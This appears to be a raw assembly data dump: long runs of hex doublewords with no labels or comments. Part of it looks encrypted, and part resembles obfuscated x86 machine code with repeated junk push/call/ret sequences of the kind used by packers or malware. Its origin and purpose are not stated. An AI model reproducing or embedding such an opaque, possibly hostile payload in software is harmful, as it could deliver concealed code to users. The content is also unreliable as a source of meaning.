		dd 42CC4228h, 0AA47C83Eh, 20518E8Fh, 23492203h,	2E23CB82h
		dd 0A35ED120h, 4FA858DAh, 4941CB51h, 20A99E28h,	341CB14h
		dd 0AA1C0857h, 0A245EF69h, 3645EFC6h, 6641CB41h, 877208F5h
		dd 2341DBB8h, 56CD5828h, 2D650517h, 63E5ECB3h, 0FA4454ABh
		dd 0AECC4073h, 7947C851h, 840F4E2Dh, 0B6C8CD56h, 2542D43Dh
		dd 234D2344h, 0ADA0CB0Ah, 0DBF1B9A7h, 56AE4E30h, 9C27FAA5h
		dd 0AA1847A6h, 0A14EEF54h, 2341CB20h, 23434C1Bh, 7913CB0Ah
		dd 38485EFAh, 0AD4ECD81h, 2341CB41h, 8415562Dh,	232BCD56h
		dd 2342237Bh, 7861CB14h, 7FC890C9h, 67C0CF21h, 235CCFA6h
		dd 7002CB41h, 0BAE88563h, 5743B24h, 0B083BD2Fh,	2348431Bh
		dd 0A74ECB0Ah, 2341CB06h, 738A40E4h, 2341DBA8h,	8DA2C7A0h
		dd 0D479528h, 8C5D7B3Eh, 0CB5CB699h, 232B58FAh,	23422350h
		dd 7E61CB82h, 4FC89682h, 67C0CF84h, 235BCF74h, 7604CB28h
		dd 522946D7h, 2B2A7C2Fh, 0C4B04A63h, 9B215BD7h,	4518386Fh
		dd 234745AFh, 7111CB50h, 7B1BFA27h, 0A24E9B75h,	2341CB0Eh
		dd 79B34052h, 7241A112h, 2341C8A9h, 0E018EBA0h,	70D4209h
		dd 7054A2Ch, 2341D610h,	0E0108A0Ah, 5134BEB3h, 0DEE1F83Bh
		dd 0B6BEFE85h, 2542E2D5h, 0CB11CB3Ah, 2341CB2Bh, 7B829334h
		dd 27658F83h, 27658F84h, 2341CB9Bh, 74829B01h, 0EE3A539Ch
		dd 0AAA07D7Ah, 2055CEADh, 7BB04A12h, 0E576FA10h, 206EF280h
		dd 99279884h, 0A2279B3Bh, 4B080E4Eh, 0B1381D1Fh, 27C01A9Ah
		dd 2EEFFB30h, 7541A112h, 2341C8EDh, 0E01FEB82h,	735421Fh
		dd 7054AA4h, 2341D154h,	0E0178D28h, 0A67EBAF6h,	0A8E220E0h
		dd 207392B0h, 0EAF43484h, 4947C869h, 20A99BA0h,	341CB50h
		dd 0AA190870h, 0A245EF50h, 3B45EF4Eh, 6341CB05h, 352F08D2h
		dd 43136CB1h, 4AFC42C0h, 2A47C870h, 206DAE9Dh, 0A827AA12h
		dd 0A6CCAAF2h, 2547B8B9h, 2F87609h, 0F3BECD42h,	445271C6h
		dd 3FF04ED9h, 0A227CD2Bh, 0E53056F5h, 206EF28Fh, 0A8218C03h
		dd 2048C21Fh, 92DC4047h, 4247C88Ah, 0CA984A36h,	75FA324h
		dd 0A74E575Ch, 2341CB01h, 0E1CAAD65h, 124E99D2h, 0A220931Bh
		dd 12CFEF94h, 232BF66Ah, 2342237Bh, 7861CB14h, 7FC890C9h
		dd 67C0CF21h, 2359CFA6h, 7002CB41h, 0FEFB6E63h,	33A81069h
		dd 0A941CB28h, 0C6B24462h, 3839AAB1h, 0ACCE09CDh, 0A8D32170h
		dd 207352FCh, 0EAF434A6h, 2C47C878h, 2341C7A9h,	23462214h
		dd 0EA1DCB0Ah, 4B28CDB6h, 9FC4464Fh, 4947CD32h,	20A99BA0h
		dd 341CB50h, 0AA190870h, 0A245EF50h, 3745EF4Eh,	6341CB05h
		dd 0DCF508D2h, 0F9C0AD91h, 0A6C864E8h, 2542E449h, 0E592404Eh
		dd 206EF291h, 26A8980Ch, 0D541CB05h, 63877949h,	88AD9F29h
		dd 0A2577E8Ch, 507DEF54h, 0CDC0A7A5h, 24A0DA7Eh, 1A832C8Bh
		dd 96BEB97Ch, 2542E34Bh, 0CB16CB2Bh, 2341CBA3h,	7C829470h
		dd 2765B7A1h, 27658F95h, 2341CB1Fh, 20829C42h, 0CEDC4254h
		dd 0AE47C862h, 25327725h, 7241A156h, 2341C8C0h,	0E018EB14h
		dd 70D4253h, 7054A01h, 2341D286h, 0E0108A41h, 0A3F77714h
		dd 0F3BE783Bh, 0CB17CB42h, 2341CB17h, 7D82952Ah, 2765BF8Ch
		dd 27658F03h, 2341CB57h, 36829DE6h, 9A277090h, 0A6C8FBABh
		dd 2542ED85h, 0A687BDB8h, 2542E43Ch, 235322D5h,	4542CB41h
		dd 3176E6FCh, 236AAD08h, 0FD73C26Fh, 0B1183D7Ah, 8FAA962h
		dd 42FFADA9h, 7754A48h,	1F6E2225h, 0CB10CBCAh, 2341CB53h
		dd 7A829208h, 2765879Dh
		dd 27658F8Bh, 2341CB1Dh, 61829AC3h, 9F5B273Ch, 0DC8762Bh
		dd 96BECD53h, 2542E3E1h, 0AE4E319Fh, 2341CB09h,	0AE8A7C0Ah
		dd 25327707h, 234B2247h, 0FC39CBA0h, 12121614h,	6476037Eh
		dd 0F3BE3A9Fh, 0CB11CB60h, 2341CB06h, 7B8293A2h, 27658FC8h
		dd 27658F21h, 2341CB4Ah, 0A2829B68h, 2A38BB7Eh,	32A80B46h
		dd 2741CB05h, 0F44742F3h, 0F0C8AF86h, 612CAD52h, 0BCDB4364h
		dd 3544EA1h, 232BCD17h,	2342235Ch, 7D61CB05h, 57C89541h
		dd 67C0CF65h, 2355CF84h, 7507CB50h, 0AE4230EBh,	2542E28Dh
		dd 0C784ECCh, 4902CD06h, 20A99E82h, 341CB41h, 0AA1C08FDh
		dd 0A245EF3Ch, 3A45EF6Ch, 6641CB14h, 0A8CC085Fh, 0C4BC5E3Fh
		dd 2347438Dh, 0B6C8CB41h, 2542E3FDh, 38822E38h,	0A2B140A8h
		dd 8F02EF10h, 2FFF77Eh,	0DC022313h, 20690237h, 7141A147h
		dd 2341C848h, 0E01BEB50h, 7154272h, 7054A10h, 2341D70Eh
		dd 0E0138905h, 6EDDDEE8h, 1929FB45h, 0F3A34AF4h, 451650D1h
		dd 0A6CC18A3h, 2547B8A8h, 0CB10CB60h, 2341CB06h, 7A8292A2h
		dd 276587C8h, 27658F21h, 2341CB45h, 6E829A69h, 2349223Fh
		dd 0CDB6CB0Ah, 0A1C05D46h, 0F3BEC7E5h, 0CB14CB2Bh, 2341CBA3h
		dd 7E829670h, 2765A7A1h, 27658F95h, 2341CB17h, 38829E40h
		dd 84BBB433h, 294E059Dh, 32FCF853h, 0AA47C856h,	205C92ADh
		dd 7141A112h, 2341C8E2h, 0E01BEB05h, 71542D8h, 7054A45h
		dd 2341D0A4h, 0E0138950h, 8CF1D4E2h, 0C83A8545h, 2341C3E3h
		dd 0E290205h, 0C3240AA9h, 67C44626h, 2C47CD07h,	0CAD139EFh
		dd 2341CB38h, 0D15131AAh, 7D2391FFh, 2B045F8Dh,	0BC607890h
		dd 71119B11h, 2341C249h, 3B025350h, 0D3ECC65Eh,	124EB800h
		dd 7B1B9559h, 232B5B5Ch, 234223D7h, 7E61CB41h, 4FC89663h
		dd 67C0CF74h, 2356CF0Ch, 7604CB14h, 0C04B54C9h,	2AD43409h
		dd 0A247C899h, 0B652D78Bh, 4999409Ah, 20A99D50h, 341CB28h
		dd 0AA1F084Ah, 0A245EF7Eh, 3B45EF41h, 6541CB82h, 88370817h
		dd 0A8BE8C26h, 2065EADDh, 1BC4462Eh, 0AA47CDB3h, 2065EEBFh
		dd 0F4F6C403h, 234B22D2h, 0B467CB41h, 0FF96AE5Eh, 0D13EB2CEh
		dd 0CA65CFA1h, 2341CB07h, 8507CA1Eh, 7FDA9C5h, 9855B356h
		dd 0EC03057h, 0B0AF4AEAh, 0B8ED4AE9h, 2C219B4Eh, 2341C996h
		dd 0CA20AB0Ah, 2341CB0Bh, 3F8E013Fh, 9BF041DDh,	36D01682h
		dd 0B0203F01h, 0CB16CB42h, 2341CB17h, 7C82942Ah, 2765B78Ch
		dd 27658F03h, 2341CB59h, 4A829CE7h, 23CC13B6h, 0A345ED7h
		dd 9CFFCD17h, 0AA7CEC62h, 20506E80h, 7041A184h,	2341C8A9h
		dd 0E01AEBA0h, 71D420Bh, 7054A2Ch, 2341D710h, 0E012880Ah
		dd 19E88A43h, 0B6B33B19h, 5AC40C04h, 2C47C888h,	4941CB50h
		dd 20A99B28h, 341CB14h,	0AA190852h, 0A245EF41h,	3E45EFC6h
		dd 6341CB41h, 999C08F0h, 8B4B0975h, 7F971767h, 2984469Fh
		dd 0B6BECD09h, 2542DAA0h, 0CB14CBE8h, 2341CB42h, 7E829680h
		dd 2765A7D9h, 27658FA9h, 2341CB0Ch, 0A0829E4Fh,	0DFBE878Bh
		dd 2341D96Bh, 308B4241h, 0B9D2827Fh, 8685A678h,	2EB0BB6h
		dd 127593E4h, 205C869Fh, 7EC44203h, 4947C89Dh, 20A99D41h
		dd 341CBA0h, 0AA1F080Eh, 0A245EF5Ch, 3445EF50h,	6541CB0Ah
		dd 332D0853h, 2BA8CF56h, 4A41CB41h, 0E9A7F0E3h,	2C470A0Ah
		dd 2341CFA9h, 87FFAD14h, 1EC44033h, 0AE47C817h,	25FAE81Fh
		dd 22024247h, 23C4762Dh, 96CCCD53h, 254771D5h, 2341F8ADh
		dd 0C8E5380Ah, 23417336h, 0E34ACB82h, 3B83C835h, 70540A0h
		dd 23A9985Ch, 7841CB28h, 23560895h, 7FC8CB0Ah, 67C8DB21h
		dd 9B1ADFA6h, 23DE6B76h, 67CA2B5Fh, 0C3BECF74h,	0CB11CB42h
		dd 2341CB17h, 7B82932Ah, 27658F8Ch, 27658F03h, 2341CB59h
		dd 66829BE0h, 134C8086h, 2341C0C0h, 0E88F2B14h,	0BEA6E960h
		dd 0AA42B56Eh, 0D2834AD2h, 7931539Ch, 232BAAFFh, 23422300h
		dd 7B61CB28h, 67C893D7h, 67C0CF2Eh, 2355CF21h, 7301CB82h
		dd 9EC89082h, 2542D5F1h, 0AE6A0ED0h, 25E6F395h,	88CC4612h
		dd 9B47CDB1h, 0BB676030h, 6944EB1h, 0EC6ACD42h,	17232BABh
		dd 0A0234223h, 937D61CBh, 0C57C895h, 3067C0CFh,	0A2357CFh
		dd 837507CBh, 0A4F305E9h, 890FD98Bh, 1,	56E9FCh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 611D9DC3h, 0C8A0Fh, 8E0F0000h, 6, 810Fh, 6AC30000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1A5BC350h, 1880Fh, 0FCF50000h, 6AC08Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 18272DC3h, 80608E4Ah, 8F0FD5C5h, 1, 0BD8361F5h, 6031039h
		dd 83097500h, 3111DBDh,	19740006h, 0C08B5350h, 4B9B8h
		dd 91858900h, 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h
		dd 60311h, 53501774h, 4B9B8h, 91858900h, 8D060323h, 5AD999Dh
		dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0BE944B4Fh, 13E9h, 27E47300h, 7B549E9h
		dd 782D4F5Fh, 0C187F9D7h, 20796929h, 860FC08Bh,	16h, 9E860h
		dd 6C240000h, 7292B881h, 5F923EC0h, 70CE8166h, 8B406114h
		dd 816052C1h, 6040B3D2h, 5E61FC52h, 4EBh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 858D46C3h, 6032811h,	13E9h, 4DAAD400h, 0FD888B2h, 0C9B8DE74h
		dd 7B578847h, 67103562h, 44BA6050h, 0BF2AB998h,	6B6428E6h
		dd 24048961h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	0DCC35343h, 4FFD6DC3h, 0E9529FDBh, 0Fh,	0F8570F31h
		dd 23AEFCF3h, 0FF788505h, 5F814748h, 99BE006Ah,	6A448126h
		dd 858DF500h, 606BE9Dh,	2939B50Bh, 0C0830603h, 0BF665005h
		dd 4894F37h, 0DE816624h, 6A1678h, 1E99B58Bh, 6A0603h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1CC35242h, 0EBC065E1h
		dd 95FFBD81h, 6030CC9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 7EC35141h, 6240C8F9h,	3C33753Ch, 0E8D0F54h
		dd 60000000h, 241D8D89h, 0BD030603h, 6032DF5h, 8D9D2961h
		dd 8D060303h, 697479Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 56C83F7Eh, 0D1AF3001h
		dd 0DE816B78h, 761CFB40h, 8B51D3FFh, 33281BDh, 85FF5E06h
		dd 6032A15h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	86C35545h, 0A7A37A30h, 10E9h, 0C267F800h, 7E1644h
		dd 0CEEF9810h, 56284D98h, 77FE9A1h, 0E80000h, 5D000000h
		dd 0BEA7ED81h, 6A0606h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 8CBE25C3h, 53100136h, 2879BD81h
		dd 7D00603h, 860F0000h,	187h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 1FC35747h, 0D9F26Ch, 0DE12C681h
		dd 9D8B4CD6h, 60313ADh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0ABC35141h, 1D0C8D8Ch, 9DF78166h, 0EE8BBh
		dd 143B0000h
		dd 5177D31Ch, 6C3F4266h, 0BD2E0F12h, 6E8h, 71B0E100h, 0F95F059Dh
		dd 0E3815F5Eh, 100h, 6870Fh, 0BD890000h, 6030C61h, 850FDB0Bh
		dd 7Fh,	24E1B58Bh, 0BD830603h, 606BD0Ah, 35840F00h, 56000000h
		dd 261D9D29h, 0E95E0603h, 69h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 28C35343h, 25258D29h, 85890603h
		dd 603133Dh, 0BD0A85C7h, 10606h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9D8903C3h
		dd 6031AB9h, 10E9h, 61B58900h, 0C7060326h, 6BD0A85h, 6
		dd 0AD9D8D00h, 6A060313h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 183FC355h, 50710DF2h
		dd 8B1DF64Ah, 31FADB5h,	5BD8B06h, 81060312h, 0FFFEFF23h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0C9583EBh, 0E9B96805h, 9, 81F129Ch, 2E2C43CCh
		dd 45BD0B9Ch, 66060312h, 0C3F6DB8Ch, 6E840F04h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0F81BC356h, 62702DF7h, 0FC49E80Ch, 11A595FFh
		dd 0B5330603h, 6032C61h, 52505090h, 810F60h, 0E8000000h
		dd 0Ah,	2CFD78A3h, 61F2E4E0h, 615AB191h, 10E8310Fh, 0D4000000h
		dd 70BB4E91h, 12F810A0h, 88205A43h, 503624B6h, 5A310F52h
		dd 585A5E58h, 3F2E990h,	85890000h, 6032951h, 666000B0h
		dd 5599D081h, 68A0Fh, 0B5890000h, 6030F39h, 6A70E661h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0EBA8C353h, 0E72B1B69h, 45B58B0Ch, 0E4060313h
		dd 0DBC68171h, 0F649031h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F0FBCC3h, 0C681FAB7h
		dd 22CEE2E8h, 6BAh, 518D8900h, 8B060313h, 56006AC3h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 9E8EC7Bh, 0E0000000h, 879C075Ch, 6D05FB0Ah, 3F34BE66h
		dd 4E8C15Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	54C35040h, 81AD442Fh, 29CCF1EFh, 310499Dh, 0E2F76606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FEC35646h
		dd 93D82B95h, 61605760h, 830F6059h, 0
		dd 830Fh, 61610000h, 6E850h, 50A0000h, 755D8986h, 5FF28B66h
		dd 57006A93h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 9D09C9EEh, 6030BEDh, 8937E781h, 0B5FF34BDh
		dd 6032879h, 1FB995FFh,	8C0F0603h, 0
		dd 950900B0h, 60321D5h,	816670E6h, 0E4CD0BD6h, 55006A71h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 51BD33A0h, 3C060328h, 55830F61h, 8B000002h, 317ADBDh
		dd 0D8B60F06h, 6BAF8F5h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 89BEC355h
		dd 0D7DFC1A5h, 0E8897F16h, 9, 4C8D4C24h, 9FB55104h, 63B360C2h
		dd 1B25BD89h, 5F610603h, 6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0BF9D53C3h, 286FF92Fh
		dd 0B1950968h, 0C1060328h, 6A04E8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0B5E78AC3h
		dd 0BCDE8166h, 0E2F76623h, 0AE8h, 43608A00h, 0B1DA15E0h
		dd 0F3174E8h, 1789h, 12E900h, 1E140000h, 6632E193h, 7DC5692Dh
		dd 7BEE7F05h, 8509304Bh, 6AD82B5Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1D0C351h
		dd 2358CFEAh, 331B5BDh,	0BDB58906h, 2B06031Bh, 51880FD8h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0CF46C351h, 0CEBCACD8h, 8B141E2Fh
		dd 7B9F0h, 0C1830000h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0BBC302D3h, 0B0363D97h
		dd 860FD93Bh, 0F8h, 0E9D98C66h,	9, 0EFFDCD74h, 0B1EA8B5Dh
		dd 4C1F618h, 0BC840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 6DBD9AC3h, 811DAC47h
		dd 0BE66DBFFh, 95FF464Fh, 60311A5h, 0C69B523h, 0BD8B0603h
		dd 603304Dh, 55006A5Bh,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 816660ADh, 962E3E7h, 302D9B5h, 0C32B6106h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FFC35242h
		dd 0F36BC781h, 343D193Fh, 0F000008h, 2986h, 0EBBE5600h
		dd 5E2B0BA8h, 3FE9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0C08B2804h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DCC35242h, 0CE43BE66h
		dd 0D88BC38Bh, 2151BD8Bh, 85C70603h, 6033159h, 5F299151h
		dd 619B52Bh, 0BF0F0603h, 6AC08BF6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AF10C355h
		dd 0BD81ABB1h, 6032879h, 7D0h, 37850Fh,	890F0000h, 2, 8B60F08Bh
		dd 3299D8Dh, 0C88B6606h, 7985FF61h, 6A060328h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 5B3C352h, 79B5FF95h,	6A060328h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F27EC352h
		dd 66CF8663h, 937FD681h, 1FB995FFh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E9F353C3h
		dd 0C5B6FB6Dh, 0B05B4B4h, 33181BDh, 78B89006h, 60123456h
		dd 0E8C3B70Fh, 10h, 0C2AD972Bh,	0B90B51C2h, 5AD351FAh
		dd 0D7627D50h, 10E9h, 0F83FEE00h, 4B3878Bh, 6EC867CEh
		dd 38179B8h, 8D61597Ah,	6C5BA9Dh, 0F8A8E906h, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0CF2EF1C3h, 8BD04D30h, 311B1BDh, 0BC18B06h, 31145BDh
		dd 4EB06h, 89000000h, 310A99Dh,	52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 942126E7h
		dd 2C0DBD8Bh, 858D0603h, 6032811h, 13E9h, 0A5431300h, 162391E3h
		dd 1CDF0053h, 9EAF57CCh, 0D9FD7FAAh, 66525090h,	310FF98Bh
		dd 5650585Ah, 5FF08B66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 86E91A23h, 2855EF65h
		dd 8D09CC4Eh, 6030179h,	6AF9B70Fh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1401525Eh
		dd 0F772712h, 681h, 9D9D8900h, 6A06030Fh, 68EDBE00h, 0DE903D1h
		dd 7C000000h, 0E90ED482h, 9CAF8572h, 844C0DAFh,	0C7F0858Dh
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0FA23D5C3h, 0E9491A83h, 6, 42F21711h, 0C0838C53h
		dd 89B50905h, 9006031Ch, 0BE9h,	0A73FC300h, 0F67E948Bh
		dd 9D8FC029h, 2E9CBF50h, 89901D8Dh, 30005BDh, 6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0E56CC356h, 6AF55Eh, 2219B529h, 95FF0603h
		dd 6030CC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0BBC35646h, 28AB30DDh, 45BD8B34h, 8D06030Ch, 697479Dh
		dd 398D2906h, 0FF060323h, 0A9BD0BD3h, 0FF06032Ah, 32A1585h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 4F152F0Bh, 490C1983h, 81FEBE66h,	0FBBE9h
		dd 0E800h, 815D0000h, 6C7FAEDh,	56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 819187C9h
		dd 32879BDh, 7D006h, 67860F00h,	6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5F48C356h
		dd 0B9068386h, 62A959EFh, 293D9D8Bh, 9D010603h,	6031E1Dh
		dd 100E381h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0B54D7C3h, 0C0850FDBh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0F6E7C351h, 0AE92BCB0h, 0BF0F1A59h, 2BBD83F9h
		dd 606C6h, 29840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 160424h, 57470000h, 4D9DA9C3h, 0A2E9h, 819D8900h
		dd 0C7060312h, 6C62B85h, 106h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0D2B14483h
		dd 974C2658h, 0A19529D4h, 0E9060313h, 63h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 86C35141h, 0E4CF8259h
		dd 7CB9B5C3h, 95BD8B7Dh, 0C7060302h, 6C62B85h, 6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 77F541DAh, 5160A0D3h, 5BC1B70Fh, 2A819D89h, 8D610603h
		dd 3293D9Dh, 459D0106h,	8106031Ch, 0FFFEFF23h, 8C66FCFFh
		dd 57006ADBh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 14E8F1D0h, 0F3000000h, 0C4DB0685h, 22710FFBh
		dd 57CA11Ch, 22679818h,	501F71C2h, 21FD9589h, 5E5F0603h
		dd 0F04C3F6h, 2184h, 9852900h, 5106032Dh, 30C1BD8Bh, 0FF5F0603h
		dd 311A595h, 5E509006h,	90F18B50h, 0CA19509h, 6EE90603h
		dd 8B000004h, 6A00B0FBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 2F17C355h, 0DC3476E1h
		dd 0E66972C5h, 57006A70h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h
		dd 0C3574700h, 0E406058Ah, 57006A71h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A13AAF93h
		dd 38AC54B2h, 0D8B60F25h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 70C35040h, 72CCE960h,	0E962104Ah, 5
		dd 7F74FEC4h, 49BD8B47h, 0BA060309h, 6,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0CAC35343h, 518E6E26h
		dd 0C38B8E9Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0FDC35646h, 4E8C153h, 0E2F766F8h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 2CC35545h, 6AD82Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BE5C5C3h, 32A69B5h,	8B665006h, 241C89F7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h, 6C9E99E3h
		dd 78CF8166h, 3830FE5h,	0F000000h, 0B5FFF8B7h, 6032879h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FCC35545h
		dd 0D0C6C249h, 0FFF1B70Fh, 31FB995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0EC8A99E7h
		dd 0EC93BE79h, 0B07F70h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 8DC35242h, 8EC0A284h,	0A24C0313h, 0B50BF38Bh
		dd 60301C5h, 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 6AD9ACC3h, 819E0CF8h, 0FC82D3E7h
		dd 5671E451h, 0A691F9BFh, 613C5E73h, 24B830Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8B6687C3h, 0D8B60FF9h, 6BAh,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 7C4F48F7h
		dd 39958953h, 5E06031Ch, 6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0E99079C3h, 10h, 4FDD0846h
		dd 1ED4123Bh, 25BC19D3h, 3C8A4954h, 6604E8C1h, 8AB8C681h
		dd 29E2F766h, 32AFD9Dh,	8BD82B06h, 31BADBDh, 6A5806h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0E2644AC3h, 0CC1A087h, 4B7CF81h, 0D82B0321h,	17F880Fh
		dd 0BD8B0000h, 60324E9h, 2C79BD23h, 7B90603h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4DE4C352h, 0A263AE3Ch, 3B00C183h,	42860FD9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6676C353h, 6AD98Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 80CA04C3h
		dd 0E9D3DA3Fh, 14h, 0C3FC76B9h,	208762CDh, 0E68748BFh
		dd 0D7450D1Eh, 9649183Ch, 0F04C1F6h, 0B584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 907BF05h, 0DBC794F2h, 0B58B0C17h, 6033215h, 11A595FFh
		dd 9D890603h, 6030439h,	19BD8B5Bh, 2B060331h, 51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BF66FFDAh, 343D1D69h, 0F000008h, 4986h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 5312E86Fh, 8B0F3ADCh, 1, 0FF860F9h, 0E961DFBFh, 41h
		dd 6880Fh, 8D890000h, 60323D5h,	5E9h, 6C4D9400h, 0C08B2EF8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B4C35343h
		dd 665624D6h, 1560CBFh,	314559Dh, 8BC38B06h, 52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0B0140F78h, 86124D8Ah, 13E89598h, 45000000h,	8F65667Ah
		dd 1DF46368h, 455DD9D9h, 0CA120967h, 0B5898DCEh, 60308C9h
		dd 0AD85C75Eh, 9D060313h, 0F3CA6F7h, 1C81h, 10E800h, 0B5C10000h
		dd 5BEF0B0Fh, 819EF48Eh, 33A049FAh, 8A0F2BF9h, 0
